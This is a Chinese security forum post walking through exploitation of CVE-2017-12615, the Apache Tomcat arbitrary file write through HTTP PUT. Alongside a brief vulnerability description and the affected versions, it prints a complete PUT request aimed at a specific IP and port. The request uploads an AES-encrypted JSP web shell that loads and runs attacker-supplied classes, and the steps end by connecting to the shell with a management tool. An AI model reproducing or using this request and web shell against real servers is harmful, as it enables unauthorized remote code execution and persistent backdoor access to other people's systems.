安全矩阵

 找回密码
 立即注册
搜索
查看: 44|回复: 0

Tomcat 任意写入文件漏洞(CVE-2017-12615)

[复制链接]

24

主题

58

帖子

282

积分

中级会员

Rank: 3Rank: 3

积分
282
发表于 2020-5-16 12:54:42 | 显示全部楼层 |阅读模式
本帖最后由 caiH 于 2020-5-16 12:56 编辑

Tomcat 任意写入文件漏洞一、漏洞描述
Apache Tomcat 7.0.0到7.0.79版本中存在远程代码执行漏洞,当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法时,攻击者可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件,文件中的代码被服务器执行。
二、影响版本
Apache Tomcat >=7.0.0,<=7.0.79
三、利用流程
1 此漏洞对应的名称为 Tomcat 任意写入文件漏洞 (CVE-2017-12615
3 直接抓包,修改请求方式为 PUT,并且设置文件名为1.jsp(名字随意),然后填充 shell(jsp shell即可)文件内容,发送成功后,服务器返回状态码201
  1. PUT /1.jsp/ HTTP/1.1
  2. Host: 118.193.36.37:29618
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. DNT: 1
  8. Connection: close
  9. Upgrade-Insecure-Requests: 1
  10. Cache-Control: max-age=0
  11. Content-Length: 611
  12. <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
复制代码



4 访问1.jsp,存在
5 使用 shell 管理工具连接即可
参考:

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2020-5-26 17:42 , Processed in 0.011240 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表